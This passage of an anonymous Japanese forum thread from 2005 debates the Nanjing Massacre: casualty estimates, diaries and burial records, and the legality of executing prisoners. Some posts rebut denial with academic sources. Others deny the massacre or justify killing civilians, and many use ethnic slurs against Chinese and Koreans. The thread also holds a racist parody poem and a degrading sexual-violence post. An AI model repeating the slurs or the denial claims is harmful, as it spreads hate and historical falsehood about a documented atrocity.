恥知らずな体質を自ら、改めて世界に晒す施設となりつつあるのです。

857 :名無的発言者:05/03/17 02:03:24
それを殺すのは戦争中では当たり前のことだろ
日本人が殺害されたのだからまず付近の住民を怪しむだろ
潜伏している可能性もあるし

疑わしきは罰せよって行為は日常的に行われる

858 :名無的発言者:05/03/17 02:07:31
>>857
当たり前でもなんでもないから。普通に国際法違反だから。

859 :名無的発言者:05/03/17 02:07:37
伝聞証拠は証拠と認められない

860 :名無的発言者:05/03/17 02:08:59
>>856
>この表記は実質的にはこれまで日本国内ですら「あった」とされて来た30万人もの「南京大虐殺」
>そのものについての信憑性が否定されてしまった事を受けてのトーンダウン表記
>なのです。

昔から日本の学者たちはせいぜい20万程度を説としているだろ。

861 :名無的発言者:05/03/17 02:11:06
>858

国際法も何も支那側は禁止されてる便衣兵って戦法を
使ってきてるんだぞ?
そんな状況で違法とかいってられないのだが
っていうかまず支那側が違法行為犯してんジャン

862 :名無的発言者:05/03/17 02:27:57
違法行為を犯したのは「付近の住民」ではないし、
戦時復仇も「同等の行為」までしか認められていないだろ。

863 :名無的発言者:05/03/17 02:34:52
>>860
おいおい今では30万人説と同程度に20万人説もマボロシ説(つまり虐殺ゼロ)と
同列の信憑性が否定されてしまったと言っていいレベルだぞ。


864 :名無的発言者:05/03/17 02:36:43
>>852
まあ、奥宮正武の本の内容をそのままHPに乗せているのは
なかったけど 中川八洋が奥宮正武への反論を行っている。
良識派軍人?奥宮正武氏への懐疑

その反論本がこれ
中川八洋氏に反論する
 パネー号事件と私の見た南京事件再論 元空将・戦史研究家 奥宮 正武
しかし、チャンネル桜に
>>自分は筑波大学教授の中川八洋フリークだったので、
>>奥宮氏の南京事件についても、よく存じております。
>>結果、中川氏の質問に対して、奥宮氏は、
>>文字通り『たったの一言も反論出来ず』終わりです。
ってあるから奥宮正武の反論は後からこじつけた捏造の可能性が高い。
://www.ch-sakura.jp/bbs_thread.php?GENRE=sougou&ID=68803&P=50

865 :名無的発言者:05/03/17 02:50:04
>>861
そのとおりだ。エイズをもらった中国人レイプ魔犯が、自分の犯した女がその時エイズである事を
告げなかったとして文句を言って謝罪と賠償を要求しているにも等しい不当なもの言いだ。

866 :名無的発言者:05/03/17 02:54:14
>862

付近の住民がしていないという確たる証拠もないのに
放置していたら今度は自分達の命が危なくなるじゃないか
むしろ支那側が法を犯した時点で戦場は無法地帯と化したも同然だろ

867 :名無的発言者:05/03/17 03:17:10
>>862
「付近の住民」の虐殺は確認されていないな。
不良捕虜を民間人にすり替えた話するなよ。


868 :名無的発言者:05/03/17 05:47:38
>865
実際にありそうで怖い。w

869 :名無的発言者:05/03/17 10:12:56
>>861
相手国の国際法違反を何か見つけたら、こっちが違反し放題になるなんて法規はないのよ。
おまいのルールを適用したら、相手の軽微な違反を見つけ出して国際法を完全無視することがアリになる。
だいたい、互いの国際法違反を遡っていったら、日本側の行為である〔満州事変〕に行き着くんじゃないのか?

>>864
そのチャンネル桜掲示板の書き込み、2004年のものだよな?
奥宮が「中川八洋氏に反論する」を出したのは2000年なんだぞw
単にその書き込みをした奴が奥宮の反論を知りもしないで勝手に書きなぐっただけ。

具体的に、>>852の引用部分のどこがいかなる理由でおかしいのかを書けって。

870 :名無的発言者:05/03/17 10:31:58
なお、「まぼろし説」や「少数説」が教科書に載っていないのは、教科書が「東京
裁判史観」に支配されているからではなく、それらの説が、学問的に説得力を持って
いないからである。藤岡氏はそれらの説を、「否定派の方々の著書(たとえば田中正
明……)を読むと、その主張もまた本当らしく思える」12) とか、「歴史の真実
を実証的に研究する立場から、板倉論文を本誌に掲載させていただく」13) とか
いって持ち上げるが、「まぼろし説」の田中正明氏が、虐殺の事実を隠すために松井
石根大将の「陣中日記」や「日誌抜粋」を改竄(1985年11月25日付『朝日新
聞』)したり、「少数説」の板倉由明氏が、「数」を少しでも少なく見せるために、
「戦闘で敵兵を殺すこと、付随して不可避的に起こる非戦闘員の犠牲は、『虐殺』で
はないと考えている」とか、将校や兵士の日記などの個人の記録は「原則として人数
算定の資料としては使っていない」14) とするなど、これらの論者は、日本軍の
戦争犯罪である「南京大虐殺」を「まぼろし」にしたり、特別重大な事件ではないも
の(「『数万から十万程度の虐殺』なら戦場では常態」15) )のように歴史を改
竄したいという政治的意図を持った議論なのである。藤原彰氏も述べているように、
「なるべく犠牲者数を少なく計算しようとする意図が見え見えなのが少数論であ」
16) り、学問的には相手にされないのである。

(富山大学教育学部助教授 広瀬 信
藤岡「自由主義史観」批判――そのデマゴギーを暴く)


871 :名無的発言者:05/03/17 11:21:12
>>867

>「なぜこのようなことをするのか」
> と尋ねたところ、彼は、
>「数日前、一人の勇敢な中国兵が わが陸軍の小隊長級の将校十余名が寝ている寝室にひそかに侵入して、
>全員を刺殺した。そこで、それらの将校たちの部下が、報復のために、 その宿舎の付近の住民を、見せしめの
>目的で、処刑している」
> とのことであった。

872 :名無的発言者:05/03/17 12:36:41
>>870
>「戦闘で敵兵を殺すこと、付随して不可避的に起こる非戦闘員の犠牲は、『虐殺』で
>はないと考えている」とか、将校や兵士の日記などの個人の記録は「原則として人数
>算定の資料としては使っていない」14) とするなど、
当たり前のことだと思うのは俺だけ?

戦闘で敵兵を殺すことと不可避的に起こる非戦闘員の犠牲まで『虐殺』に加えてしまうと、
『南京大虐殺』30万人なんて、それこそ、
>特別重大な事件ではないもの(「『数万から十万程度の虐殺』なら戦場では常態」15))
になってしまうと思うんだが。

873 :名無的発言者:05/03/17 13:18:14
>>872 激しく同意

874 :名無的発言者:05/03/17 13:21:36
>>872
前の部分はともかく
>将校や兵士の日記などの個人の記録は「原則として人数算定の資料としては使っていない」
これはどうかと思うぞ。

875 :名無的発言者:05/03/17 13:36:19
JAPESら、死ね。

876 :名無的発言者:05/03/17 13:58:24
>>874
これも理由あってのことだろ。
目測で死者の数を報告して、後で数えなおしたところ、実数の3倍近い数を報告していたと分かった、
なんて話があるんだから。数の算出に使えないのは当然。

877 :名無的発言者:05/03/17 16:04:36
>>876
目測に誤差がつきものなのは分かる。けどいくらなんでもゼロにするのは無茶だろ。
割り引く(少なく報告していた場合はないのか?)のなら納得できるが、まったくカウントしないなんて
「なるべく犠牲者数を少なく計算しようとする意図が見え見え」と言われてもしょうがない。


878 :名無的発言者:05/03/17 17:14:27
>>877
いや、個人の日記は数の算出には使えないから、信頼できる一次資料をもとに虐殺数を算出した
って話で、個人の日記を参考にしない → その分丸々『虐殺』数が減る、という類のものではなか
ったはず。

879 :名無的発言者:05/03/17 18:35:01
1=新・朝鮮進駐軍として蜂起した在日と一緒に蜂起した中国人留学生に
  自分の妹が輪姦され、自分は去勢される場面を思い浮かべては
  毎日のように股間を大きくしている真性のマゾヒスト

880 :名無的発言者:05/03/17 19:27:26
>>869
>「数日前、一人の勇敢な中国兵が わが陸軍の小隊長級の将校十余名が寝ている寝室にひそかに侵入して、
>全員を刺殺した。
中国軍がいかに便衣兵などと国際法を無視した行動を取っていたかという文章ですね。
勇敢なとつける所もシナ思想臭い。

881 :名無的発言者:05/03/17 20:03:22
>>852
具体的に住民の虐殺を命令したのはなんていう部隊なんだ
上官はだれでその人の供述は?命令書はあるのか。

882 :名無的発言者:05/03/17 20:09:19
>>878
それは崇善堂埋葬記録のようなものを一次資料といっているのか。
12月 1.011体
 1月 1.556体
 2月 2.507体
 3月 2.475体
?4月 104.718体
?合計 112.267体


883 :名無的発言者:05/03/17 20:27:14
>881

一切無いだろ
880の言うようにわざわざ敵対してる国の人間に(しかも
自分達の仲間を殺した相手を)勇敢な中国兵なんて言うか?
そもそも日本は当時中国のことを支那って言ってたんだからこの日記は
自分から捏造だって言ってるようなもの

884 :名無的発言者:05/03/17 20:28:40
毎月多くて2000体埋めてたのに
4月には10万体も埋めたといってる奇跡

885 :名無的発言者:05/03/17 20:49:43
>>883
ホントだ、全然気付かなかったがそう書いてある。w
でも多分>>869を書いた人は、公正無私で
サムライスピリッツに溢れた日本兵なだったんだろう(棒読み)。

>884
犬も掘り返さないような数の死体を瞬く間に埋めたんですね。w
さすが天下無敵の日本兵、その土木工事の手際の良さも世界一だ!

886 :名無的発言者:05/03/17 20:51:00
>>869じゃなくて>>852だったよ・・( ´・ω・`)ショボーン

887 :名無的発言者:05/03/17 20:54:47
ちなみに現代のような建機も無しにこの数です
これなら毎月2万5000体って言った方がまだ疑われなかったのでは?
こんなことにも気付かないおめでたい支那蓄


日記出した人は逃げたかな?

888 :名無的発言者:05/03/17 20:56:32
彼らは名を変え姿を変えてまたいつでも現れる!
そう、そこに日本人がいる限り、彼らは決して死ぬ事は無いのだッ!

889 :名無的発言者:05/03/17 21:06:47
戦え!原色戦隊カラーレンジャー!


元ネタ分かる人いる?

890 :名無的発言者:05/03/17 21:34:42
レベルE?

891 :名無的発言者:05/03/17 21:40:02
レベルE・・奇しくも中国の捏造のレベルと同じだな。w

892 :CHINK:05/03/17 21:52:16
http://post.baidu.com/f?kw=%BF%B9%C8%D5
ここの反日サイトでじじつを教えよう!
日本人もがんばっているぜ


893 :名無的発言者:05/03/17 22:44:55
>>852を日記だと言ってる時点で、お前らがいかに何も知らないかが分かるよ。

894 :名無的発言者:05/03/17 22:51:26
>893
やたらと「とのことであった」とか言う伝聞口調が目立ち、
挙句自らの同胞の寝込みを遅い殺した中国人兵士に対し
「勇敢な〜」とまで言い切る信憑性の高い資料ですね。w

一体この人はどこの何という兵士にそんな事を聞いたんだか?

895 :名無的発言者:05/03/17 23:13:12
そうか元海軍参謀がそんなに反日的に見えるか。

>やたらと「とのことであった」とか言う伝聞口調が目立ち、
会話シーンだからね。

>挙句自らの同胞の寝込みを遅い殺した中国人兵士に対し
> 「勇敢な〜」とまで言い切る
べつに日本軍兵士全てが軍隊や上官に好意を抱いていたわけではないのは周知のことだ。
南京虐殺を証言したというだけで元日本兵を罵倒しまくる君たちが言えた義理かね。
敵軍の宿舎に単身忍び込んで来た事実だけでも「勇敢」と感想を持って不思議はないし、
捕まってからよほど勇敢な態度をとったのかも知れん。

896 :名無的発言者:05/03/17 23:35:22
★南京虐殺を否定する学者は皆無という事実★
この表記は実質的にはこれまで日本国内ですら「あった」とされて来た30万人もの「南京大虐殺」
そのものについての信憑性が否定されてしまった事を受けてのトーンダウン表記
なのです。もはや中国のプロパガンダ施設である30万人大屠殺記念館は中共の
恥知らずな体質を自ら、改めて世界に晒す施設となりつつあるのです。


897 :名無的発言者:05/03/18 05:51:08
>>895
って事はだよ、>>852で言われてる
「一人の勇敢な兵士が、寝込みを襲って十数人の将校達を殺した」
って言う事実は確認されてるわけ?もし本当だったらそれなりな大事件だと思うが?
それともそんなやり方で殺されたんで、軍が隠蔽でもしたかな?

しかし、当の寝込みを襲ったヤツに、(正面切って戦いを挑んできたならまだしも)
あいての寝込みを襲うようなやり方をしてきた敵に対して、普通「勇敢」とか言うか?

898 :名無的発言者:05/03/18 12:42:56
それが事実でなかったら、単なる虐殺なわけだが。
燼滅作戦でもやってたとか。

899 :名無的発言者:05/03/18 19:01:47
奥宮を真に受けている椰子がまだいるのか。

900 :名無的発言者:05/03/18 20:42:10
まあ、肯定派の学者の方が言ってることははるかに
常識的だがな

901 :名無的発言者:05/03/18 20:46:38
最近koueiいないの?

902 :名無的発言者:05/03/18 21:45:01
北朝鮮では、あの頭のおかしい将軍様を崇め奉るのは常識だしな、
まあ、常識なんていうのは人や地域によってそれぞれって事だワナ。w

903 :名無的発言者:05/03/18 22:23:10
肯定派ってなに?

904 :名無的発言者:05/03/18 22:26:17
南京事件は実際あった。南京突入の市街戦の際。

問題は、被害者の人数だ。


905 :名無的発言者:05/03/18 22:30:54
↑体験者ハケーンヽ(・∀・)ノ

906 :名無的発言者:05/03/18 23:27:25
左翼の常識はすなわち普通の人間の非常識なわけだが。

907 :名無的発言者:05/03/19 05:53:00
南京陥落後に撮影された風景
http://www.history.gr.jp/nanking/fukei.html
みんな仲良くやってんじゃん

908 :名無的発言者:05/03/19 07:59:55
きっと仲良く虐殺したりされたりしてたんだろうな。w

909 :名無的発言者:05/03/19 12:32:33
おお、静かになってる。朝日新聞記者が素人に論破されたってことか。

910 :名無的発言者:05/03/19 13:29:02
虐殺なんて無かった。捏造はよせチャンコロ。

911 :名無的発言者:05/03/19 13:39:23
日本軍に虐殺の動機なし。

912 :名無的発言者:05/03/19 13:52:33
>>907
日本軍と南京人は仲良しだったんだな。
ほのぼのしていて虐殺なんか考えられない。
みんな笑顔じゃん。

913 :名無的発言者:05/03/19 13:58:13
朝日新聞記者の書込みがないのだが、新しい虐殺の証拠でも
捏造しているのかな。

914 :名無的発言者:05/03/20 09:59:43
「捏造」ってこういうのだろ?
http://www.megabbs.com/cgi-bin/readres.cgi?bo=sisou&vi=1111190797
【捏造】南京虐殺否定派は資料を300カ所以上改竄してましたよね


915 :名無的発言者:05/03/20 10:01:15
雨にも恨み 風にも呪い
雪にも夏の暑さにも妬む
丈夫なエラをもち 慾は果てしなく
決して静まらず いつも大声でどなってゐる
一日にコーリャン四合とキムチと少しのコチジャンを食べ
あらゆることを自分の勘定に入れ
半ば見聞きし分かったつもりになり そしてすぐ忘れ
半島の禿山の陰の小さな萱ぶきのあばら家にゐて
東海に日本の竹島あれば行って旗を立てて威張り
西に宗主国あれば行ってそのご機嫌を伺い
南に死にそうなベトコンあれば武器を向けてこわがらなくてもいいと殺し
北に旱魃や飢饉があればつまらないものですがと日本の米を送り
日照りの時は謝罪を求め 寒さの夏は賠償を求め
みんなにでくのぼーと呼ばれ 褒められもせず 尊敬もされず
そういうものに ウリは なってるニダ
        ∧__∧   ________ 
      <丶`Д´>/ ̄/ ̄/ 
      ( 二二二つ / と) 
      |    /  /  /  
  __  |      ̄| ̄ ̄

916 :名無的発言者:05/03/20 10:01:59
>>907
残念ながらマルチポストしたよそのスレで
とっくに論破されてますよw

917 :名無的発言者:05/03/20 10:04:58
虐殺の理由

上海戦で疲労し,凱旋の期待を裏切られた日本軍兵士は自暴自棄とな
り,補給がともなわず現地徴発に頼ったこと,中国侮蔑感情や戦友
の仇を討つという郷党意識にとらわれていたことなども加わって,
南京への進撃途上ですでに略奪・強姦・虐殺・放火などの非行が常態化
する状況となった。12月13日,南京占領に際しては,17日の入城式
に備え,徹底的な掃討を行い,投降兵・捕虜を長江沿岸などで大量に
処刑し,多数の一般市民をその巻添えにし,略奪・強姦・放火を重ね
た。さらに12月22日,佐々木到一少将が城内粛清委員長に就任,中
国兵の狩出しと処刑を続け,38年2月初めに及んだ。

(平凡社『世界大百科事典』「南京大虐殺」)

918 :名無的発言者:05/03/20 10:07:17
>>916
その他所のスレのどこで論破されてるのか教えてもらえるとありがたい。
なにせ類似スレが立ちすぎてて、どこで誰がなにを言ってるやらさっぱりワケワカメ。

919 :名無的発言者:05/03/20 12:57:42
>>918
↓これではなかろうか?>論破

110 名前: 名無しかましてよかですか? [sage] 投稿日: 05/03/19 08:39:32 ID:7h/FoEav
>>109
「阪神大震災」直後の現地でも、似たような平穏な風景は、いっぱいあったわけだが。
それを指して「阪神大震災」が無かった、と、言ったりはしないわな。


116 名前: 名無しかましてよかですか? [sage] 投稿日: 05/03/20 01:24:17 ID:mVYYWUpo
>>110
>「阪神大震災」直後の現地でも、似たような平穏な風景は、いっぱいあったわけだが

「大震災」を起こした人間が神戸市民と談笑している風景?w

920 :名無的発言者:05/03/20 15:11:44
>>914
バカが、捏造資料の多さで勝負するつもりか

921 :名無的発言者:05/03/20 15:23:34
>>919の話ではどう論破されているのかわからんが。
虐殺があったのにどうして南京市民が日本軍に手を
振る写真があるということの説明になってない。

>>917
その理由だと虐殺は一部兵士の犯行にしかならんな。
日本軍は南京攻略を正当化させる必要があったんだから。

922 :名無的発言者:05/03/20 15:28:53
979 名前: 名無しかましてよかですか? [sage] 投稿日: 05/03/19 05:54:00 ID:am+Zyzos
南京陥落後に撮影された風景
http://www.history.gr.jp/nanking/fukei.html
みんな仲良くやってんじゃん

981 名前: 名無しかましてよかですか? [age] 投稿日: 05/03/20 09:29:40 ID:vcWk04UM
>>979
マルチポストきもい
日本のプロパガンダを鵜呑みにしてる低能児

982 名前: 名無しかましてよかですか? [sage] 投稿日: 05/03/20 09:44:24 ID:qpYqm3YD
>>981
プロパガンダというソースよろ 

984 名前: 名無しかましてよかですか? [sage] 投稿日: 05/03/20 13:05:38 ID:yXFwXP67
>>982
マッカラム日記より。

> 1938年1月9日−難民キャンプの入口に新聞記者が数名やって来て、
>ケーキ、りんごを配り、わずかな硬貨を難民に手渡して、この場面を映画撮影
>していた。
>  こうしている間にも、かなりの数の兵士が裏の塀をよじ登り、構内に侵入
>して10名ほどの婦人を強姦したが、こちらの写真は一枚も撮らなかった

923 :名無的発言者:05/03/20 15:57:33
わざわざそんな時に塀をよじ登ってまで強姦しに来る状況が想定できない。
ていうか、どうせ写真撮らないんなら堂々と入って来いよ。

924 :名無的発言者:05/03/20 16:02:18
>>919
阪神大震災は、旧帝国陸軍の残党の起こした大虐殺なんでしょう。w

>>922
すると今度は、そのマッカラムなる人物の残した日記の検証をしなきゃなんないね。
その文そのままだと、その人は日本兵が林檎とか硬貨を南京市民に手渡して
映画撮影しているところを見ながら
同時に裏の塀をよじ登って強姦しているところを目撃してたわけか?w

925 :名無的発言者:05/03/20 16:06:20
まあ、日記の中の出来事じゃ、否定の仕様もないのだが
マッカラムは日本軍の善行についても書いている事を
お忘れなく。 //www.history.gr.jp/nanking/reason05.html

926 :名無的発言者:05/03/20 16:06:28
そのての日記の最たる特徴は
「〜がこう言っていた」「〜のはずだ」「〜との事であった」
って言う伝聞口調がやたらと目立つところですね。

>>895でも
>そうか元海軍参謀がそんなに反日的に見えるか。

って書いてあるけど、南京攻略戦って云うのは
海軍主導でやったものなのか?

927 :名無的発言者:05/03/20 16:10:27
主導だったかどうかなどまるで関係ないと思うが?

928 :名無的発言者:05/03/20 16:21:24
>>925
>※この文章は謙光社刊「南京事件の総括」田中正明著を引用させて頂いてます。

大丈夫かそれ?




929 :名無的発言者:05/03/20 16:30:37
>>928
他の者は非常に残忍で、私共を脅迫し殴打したり、平手打ち等をやりました。
 『リッグス』氏は最もひどく平手打ちをされました。

日本兵が一人ならず、戦争は嫌だ本国に帰還したいと私どもに語りました。
 日本大使館が親切で、私共を救い出そうとしましたが、彼等は無力でありました。
 而して良心的な日本兵は極く少なく、全然あるか無いかです」
 (洞富雄著、「決定版・南京大虐殺」 1982年 徳間書店より)

の2箇所が抜け落ちていると言いたいんだろ。
日本軍の善行自体は本物なんだから。
お前らの証拠は何件かの婦女暴行や殺害をさして30万の
虐殺をさしている根拠はなんなんだ、埋葬記録か?

930 :名無的発言者:05/03/20 16:33:29
>929
ウーン・・・ふいいき(なぜか変換できない)・・・かな?

931 :名無的発言者:05/03/20 16:37:38
>>930
ha?

932 :928:05/03/20 16:38:18
>>929
いや、田中正明だから怪しいと思っただけだが。
>而して良心的な日本兵は極く少なく、全然あるか無いかです
やっぱこうなのか。

別にオレは30万とは言わんぞ。
というか日本人研究者で30万説を採っている者もまずいないしな。

933 :名無的発言者:05/03/20 16:56:05
30万人説はなくなったとして後は、何人説が
あるんだ。

934 :名無的発言者:05/03/20 17:00:42
3人くらい?
いや、やはり0です。
ゲリラ化した中国兵を掃討したのです。一般市民の退避は勧告しました。
中国兵が市民を巻き込んだわけです。

935 :名無的発言者:05/03/20 17:21:00
やはり、南京虐殺は動機がないな。
日本軍7万人による発作的殺人か?

936 :名無的発言者:05/03/20 17:22:20
中国兵であっても殺していいのか?
日本軍が南京を不法占領した事自体許し難い事である。
中国人は何千年かけても必ず復讐する民族根性も持ち主だから、
ますます巨人化する中国には本当に怖い!

937 :名無的発言者:05/03/20 17:27:02
>>933
>>1

938 :名無的発言者:05/03/20 17:39:49
>>937
ああ、サンクス?

939 :名無的発言者:05/03/20 17:41:02
捕虜の違法殺害が南京虐殺の正体と。

940 :とわに日本人:05/03/20 17:41:20
>>930
× ふいいき(変換不能)
○ ふんいき 雰囲気
・・。OK ?

941 :名無的発言者:05/03/20 18:00:16
いまや南京大虐殺を肯定するものは一人もいなくなって、
議論は殺害数0〜4万人にシフトしてきてるな。

942 :名無的発言者:05/03/20 18:12:56
>>941それやと南京防衛軍の死者3万数千人と数が合うね。

943 :名無的発言者:05/03/20 20:00:50
結論は、共産党のプロパガンダである。

944 :名無的発言者:05/03/20 20:11:40
つまり民間人を第一目標とした組織的大虐殺は無いってことかな。

945 :名無的発言者:05/03/20 20:58:32
>>940
すいませんでした、ネタですんで・・悪しからず。

946 :名無的発言者:2005/03/21(月) 07:13:47
不意息。

947 :名無的発言者:2005/03/21(月) 10:38:17
まぼろし派の頼みの綱の田中って、学者は学者でも
イオンド大だしw


948 :名無的発言者:2005/03/21(月) 11:02:29
肯定派の頼みの綱
 藤原彰
 笠原十九司
 本多勝一
 吉田裕
 松岡環

・・・どれもだめじゃん(´・ω・`)

949 :名無的発言者:2005/03/21(月) 11:30:20
あった派が唱えていた「民間人の対する組織的殺戮」はどこ行ったのでしょーか?

950 :名無的発言者:2005/03/21(月) 13:00:28
http://www.bekkoame.ne.jp/~ymasaki/kaigi.htm
でもあった派はみんな有名な歴史学者だよ。
大学もいいとこばっかだし。
オーム事件で有名な常石センセもいるし。

なかった派にはちゃんとした大学の歴史学者が
一人もいないじゃん
ていうか
イ オ ン ド 
って大学じゃないし。

951 :名無的発言者:2005/03/21(月) 13:25:28
中国人は10人以上を数えられないから、人の書いた文章(虐殺
と関係のない一般的な文献)から文字を拾っているうちに3000万
人まで膨れ上がった(w

虐殺が無いとは思わないが、関わった部隊の規模からしてせいぜ
い2千人くらいだろう。

952 :どっちが正しいかな?:2005/03/21(月) 13:50:15
83 名前: 名無的発言者 [sage] 投稿日: 05/03/15 17:40:51
肯定派否定派両者とも「それはすでに論破してるのに」とか言ってるからわけわかめ

88 名前: 名無的発言者 [sage] 投稿日: 05/03/20 14:27:46
>>83
どのように論破されてるかまとめてあるよ。
http://academy3.2ch.net/test/read.cgi/china/1101034090/799-809

89 名前: 名無的発言者 [sage] 投稿日: 05/03/20 16:36:58
>83
それとはまったく逆の意味での論破ならここでもされてるぞ。
http://www5b.biglobe.ne.jp/~nankin/index.html

953 :名無的発言者:2005/03/21(月) 14:10:56
>>952
http://www.geocities.co.jp/Bookend-Ryunosuke/8315/gu-su.htm
http://members.at.infoseek.co.jp/NankingMassacre/aandv/ilow.htm

グースは確実に詐欺野郎なんでよろ

954 :名無的発言者:2005/03/21(月) 16:31:52
オウム真理教にも有名な大学出の幹部がいなかったっけ。

955 :名無的発言者:2005/03/21(月) 16:34:27
>>954
だからちゃんとサリン作れただろ?

956 :名無的発言者:2005/03/21(月) 16:45:24
1938年1月8日――今、日本兵は安全地帯における我々の努力を信用せぬよう試みております。かれらは貧賤な支那人を
脅迫して、我々が云った事を否定させようとします。支那人のあるものは容易に掠奪・強姦及び焼打ちなどは支那軍がやった
ので、日本軍がやったのではないと立証すらいたします。我々は今、狂人や馬鹿者を相手にしているのだと時々考えます。
また、我々外国人は全部生きてこの厳しい試練を経たのだと不思議と思います。
(洞富雄編『南京大残虐事件資料集(1)極東国際軍事裁判関係資料編』青木書店、1985年、125頁)

なるほど、よく読むとマッカラムが支那人たちに「掠奪・強姦及び焼打ちなどは日本軍がやった」と言わせていたことが
わかるね。

957 :名無的発言者:2005/03/21(月) 17:12:38
よく読んでも

・中国人が最初に日本軍の悪行を証言した。
            ↓
・日本軍が貧しい中国人を脅迫していた。
            ↓
・それに迎合した中国人がいた。

としか書いてないね。

958 :名無的発言者:2005/03/21(月) 19:00:01
>>957
ああ、君の頭が悪いだけだよ(ワラ


・支那軍は掠奪・強姦及び焼打ちなどを行った。
            ↓
・マッカラムたちが「努力」して、日本人の仕打ちとふれ回った。
            ↓
・日本兵は支那人に、マッカラムたちを信用せぬよう試みた。
            ↓
・結果、支那人のあるものは容易に掠奪・強姦及び焼打ちなどは支那軍がやった
 ので、日本軍がやったのではないと立証すらした。

要するに国際委員会の情報操作が失敗しそうになったということだね。

アフォな>>957 にも理解できたかな?

959 :名無的発言者:2005/03/21(月) 19:38:15
>>956
>(洞富雄編『南京大残虐事件資料集(1)極東国際軍事裁判関係資料編』青木書店、1985年、125頁)

編者の名前からして既にホラかよッ!w

960 :名無的発言者:2005/03/21(月) 20:26:59
>・日本兵は支那人に、マッカラムたちを信用せぬよう試みた。

本当に支那軍がやったことなら、なんで「脅迫」する必要があるのかな?



961 :名無的発言者:2005/03/21(月) 22:03:22
つまり、こういうことか?

事実
日本軍は南京で、数千〜4万人(諸説あり)の軍服を脱ぎ捨てた中国兵を裁判なしで処刑しました。
そして、中国の民間人も巻き添えになりました。

現状
それが違法か合法か、悪い行為か赦される行為か、どこまでを「南京事件」に含まれるかを巡って、ウヨと「日本のサヨ」とが論争してます。
中国は事実を歪曲し誇張して日本を叩き、ウヨがそれに反発してます。

ウヨの中のごく一部が、誤魔化しと屁理屈と嘘で、事実自体を「なかった」ことにしようとしています。


962 :名無的発言者:2005/03/21(月) 22:06:56
あからさまに結論先にありきの意見、いつもいつも御苦労様です。

963 :名無的発言者:2005/03/21(月) 22:08:48
すくなくとも、学者の間では>>1の言うとおり結論は出てるわけだが。

964 :名無的発言者:2005/03/21(月) 22:11:01
まあ、犠牲者の数や定義をめぐっては、学者の間でも意見が分かれるが、
捕虜の大量処刑とそれに伴う民間人の巻き添えが会ったこと自体は、左右
を問わず学者の間ではほぼ意見の一致をみている。

965 :名無的発言者:2005/03/21(月) 22:13:38
東中野ですら、捕虜の大量処刑ととそれに伴う民間人の巻き添え自体は
認めている。
彼の主張は「それが国際法に違反する証拠は無い」であって、事実自体
の否定ではない。
ただ、彼はわざとその辺りを分かりずらく書く確信犯なわけだがw

966 :名無的発言者:2005/03/21(月) 22:20:04
東中野の近著の「南京事件「証拠写真」を検証する」でも、捕虜の大量処
刑の事実はあったと認めてたな。
ほんのちょこっと数行だけどw


967 :名無的発言者:2005/03/21(月) 22:36:08
南京で戦闘後に殺害された数についての代表的な諸説は、以下の通り
なお、>>1の主張は、大枠では正しいが、いくつかミスがある。例えば、板倉由明氏は捕虜の不法殺害を認めている。

主唱者     殺害人数              思想的傾向 国際法の可否
鈴木明    軍民あわせて数万人          保守  「まぼろし」の中では言及なし
板倉由明   1〜2万                保守   捕虜の殺害を違法とする
偕行社編集部「南京戦史」 3〜6千あるいは1万3千  .保守   捕虜の殺害を違法とする
秦郁彦    4万.                 保守   捕虜の殺害を違法とする
畝本正己   3〜6千               .保守   捕虜の殺害は違法の疑いあり
笠原十九司  10数万                左翼   捕虜の殺害を違法とする
東京裁判   20万                      捕虜の殺害を違法とする
東中野修道                     保守   捕虜の殺害が違法である証拠は無い

968 :名無的発言者:2005/03/21(月) 22:48:56
>>967
ズレてるよー藁
東中野氏は最近では「合法だ」とも取れるようなことを書いてるよ。
たしかに昔は「違法な証拠はない」だったけどね。

数には諸説があるけど、保守の学者のほとんどが殺戮があったことは認めてるし、裁判なしの処刑を合法と断言する人も限られるんだよね。
なかった厨は本を読まないから、この事実は知らないだろうけどね。

969 :名無的発言者:2005/03/21(月) 23:59:04
少なくとも中国の言うような虐殺はなく、あくまで捕虜の違法殺害であって
それに巻き込まれた民間人がいくらかいたということか。
それで南京の人口が60万から20万に減ったというのは嘘でいいのか。

970 :名無的発言者:2005/03/22(火) 00:20:55
>>963-968
いや、確かにその通りなんですけどね。
問題は中国が事実を誇張歪曲して喧伝してることでしょう。
反日サイトのド厨房だけならともかく、政府までもがですよ。
日本も中国に歴史の共通認識を取るためにも共同調査を提案してるのに、これを拒否している。
(韓国は同趣旨の調査を受け入れたのに)

南京での殺戮の事実から、中国のデマゴーグ問題に、論点をシフトさせるのは卑怯と言われるかもしれない。
でも、俺たち日本人の眼前にある一番の問題がこれなわけでしょ。
日本と中国は経済的には密接なのに、政治的には乖離しているという奇天烈な現象の原因の一つなわけだ。
間違ったデマのために、憎まれ、蔑まれて友好なんてあるわけない。

だから、俺たちも言うべきことは言おうってことだよ。
無責任に「なかった」といい加減なこという連中は論外だけどね。

971 :名無的発言者:2005/03/22(火) 00:22:40
あと肝心なのは、違法殺害=虐殺ではないということ。
戦場の現実性を考えればわかると思うけど。

972 :名無的発言者:2005/03/22(火) 08:47:24
藤原彰(一橋大学名誉教授、日本史専攻)

日本は中国での全面戦争の備えがありませんでした。上海の戦闘がさらに拡大をして、
あのような強い抵抗を受けるとは思っていなかったのです。だから、戦争がエスカレ
ートすると中国人に対する敵意が増しました。それに、南京に進軍していく時も十分
な補給がありませんでした。さらに加えて兵士は十分な訓練を受けていません。戦争
が突然エスカレートして兵士は自暴自棄になり、南京大虐殺という大惨劇を引き起こ
すわけです。


973 :名無的発言者:2005/03/22(火) 11:22:55
http://www.u-gakugei.ac.jp/~kimijima/kimijima.htm
この人も南京大虐殺肯定派の歴史学者
学芸大のセンセイ

974 :名無的発言者:2005/03/22(火) 13:01:49
藤原彰かぁ〜 なつかしいなー 亡くなったんだっけ?
岩波の「南京大虐殺」であの嘘っぱちティンパーリーを取り上げていたなー
ってぐらいしか記憶がないな。


975 :名無的発言者:2005/03/22(火) 15:32:46
藤原彰って、一応、日本近現代史の最高権威だったんだよね。
それで、朝鮮戦争は韓国による侵略とかって主張してたんだよね。

でも、フルシチョフが北朝鮮の侵略だったってバラしちゃったんだよね。
にもかかわらず、藤原彰は韓国とアメリカの陰謀だって言い続けたんだよね・・・

こんなインチキ学者が最高権威の学会で、まともな学者が育つわけないじゃん。



976 :名無的発言者:2005/03/22(火) 20:36:05


議論は踊る。されど進まず。



977 :名無的発言者:2005/03/22(火) 21:28:32
>>973
君島和彦 反日
で一杯出てくる出てくる

978 :名無的発言者:2005/03/23(水) 10:22:15
肯定派は有名な歴史学者ばかりだが、
否定派で学者と言えるのは東中野だけだな。
